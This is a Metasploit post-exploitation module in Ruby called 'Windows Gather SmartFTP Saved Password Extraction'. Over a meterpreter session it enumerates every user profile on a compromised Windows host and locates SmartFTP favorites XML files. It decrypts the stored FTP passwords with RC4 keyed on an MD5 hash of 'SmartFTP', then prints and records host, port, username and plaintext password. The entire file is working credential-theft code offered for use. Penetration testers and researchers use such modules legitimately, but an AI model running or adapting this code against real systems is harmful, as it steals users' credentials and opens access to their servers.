##
# $Id:$
##
 
 
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
 
 
require 'msf/core'
require 'rex'
require 'rexml/document'
 
 
class Metasploit3 < Msf::Post
 
 
 
	def initialize(info={})
		super( update_info( info,
				'Name'          => 'Windows Gather SmartFTP Saved Password Extraction',
				'Description'   => %q{ This module finds saved login credentials
							for the SmartFTP FTP client for windows.
							It finds the saved passwords and decrypts
							them.},
				'License'       => MSF_LICENSE,
				'Author'        => [ 'TheLightCosine <thelightcosine@gmail.com>'],
				'Platform'      => [ 'windows' ],
				'SessionTypes'  => [ 'meterpreter' ]
			))
 
	end
 
	def run
 
		os = session.sys.config.sysinfo['OS']
		drive = session.fs.file.expand_path("%SystemDrive%")
		@xmlfiles=[]
		if os =~ /Windows 7|Vista|2008/
			@favpath = 'AppData\\Roaming\\\\SmartFTP\\Client 2.0\\Favorites'
			@users = drive + '\\Users'
		else
			@favpath = 'Application Data\\SmartFTP\\Client 2.0\\Favorites'
			@users = drive + '\\Documents and Settings'
		end
		get_users
		@userpaths.each do |path|
			enum_subdirs(path)
		end
		@xmlfiles.each do |file|
			get_xml(file)
		end
 
 
	end
 
	def enum_subdirs(path)
 
		begin
			session.fs.dir.foreach(path) do |sub|
				next if sub =~ /^(\.|\.\.|Predefined Favorites)$/
				xmlpath= "#{path}\\#{sub}"
				if sub=~/\.xml$/
					#print_status(xmlpath)
					@xmlfiles<< xmlpath
				else
					enum_subdirs(xmlpath)
				end
 
			end
		rescue
 
		end
 
	end
 
	def get_users
		@userpaths=[]
		session.fs.dir.foreach(@users) do |path|
			next if path =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/
			@userpaths << "#{@users}\\#{path}\\#{@favpath}"
		end
	end
 
 
	def decrypt(password)
 
		cipher =[password].pack("H*")
		ms_enhanced_prov="Microsoft Enhanced Cryptographic Provider v1.0"
		prov_rsa_full=1
		crypt_verify_context= 0xF0000000
		alg_md5 = 32771
		alg_rc4 = 26625
 
 
		acquirecontext= client.railgun.advapi32.CryptAcquireContextW(4,nil,ms_enhanced_prov,prov_rsa_full,crypt_verify_context)
		createhash = client.railgun.advapi32.CryptCreateHash(acquirecontext['phProv'],alg_md5,0,0,4)
		hashdata = client.railgun.advapi32.CryptHashData(createhash['phHash'],"SmartFTP",16,0)
		derivekey = client.railgun.advapi32.CryptDeriveKey(acquirecontext['phProv'],alg_rc4,createhash['phHash'], 0x00800000, 4)
		decrypt = client.railgun.advapi32.CryptDecrypt(derivekey['phKey'],0,true,0,cipher,cipher.length)
		destroyhash= client.railgun.advapi32.CryptDestroyHash(createhash['phHash'])
		destroykey = client.railgun.advapi32.CryptDestroyKey(derivekey['phKey'])
		releasecontext = client.railgun.advapi32.CryptReleaseContext(acquirecontext['phProv'],0)	
		data= decrypt['pbData']
		return data
	end
 
	def get_xml(path)
		condata=""
		begin
			xmlexists = client.fs.file.stat(path)
			connections = client.fs.file.new(path,'r')
			until connections.eof
				condata << connections.read
			end
			parse_xml(condata)
			print_status("Finished processing #{path}")
		rescue
			print_status("The file #{path} either could not be read or does not exist")
		end
 
	end
 
 
	def parse_xml(data)
		mxml= REXML::Document.new(data).root
		mxml.elements.to_a("//FavoriteItem").each do |node|
			host = node.elements['Host'].text
			port = node.elements['Port'].text
			user = node.elements['User'].text
			epassword= node.elements['Password'].text
			next if epassword == nil or epassword== ""
			pass=decrypt(epassword)			
 
			print_good("HOST: #{host} PORT: #{port} USER: #{user} PASS: #{pass}")
			report_auth_info(
							:host  => host,
							:port => port,
							:user => user,
							:pass => pass
						)
 
		end
 
	end
 
 
end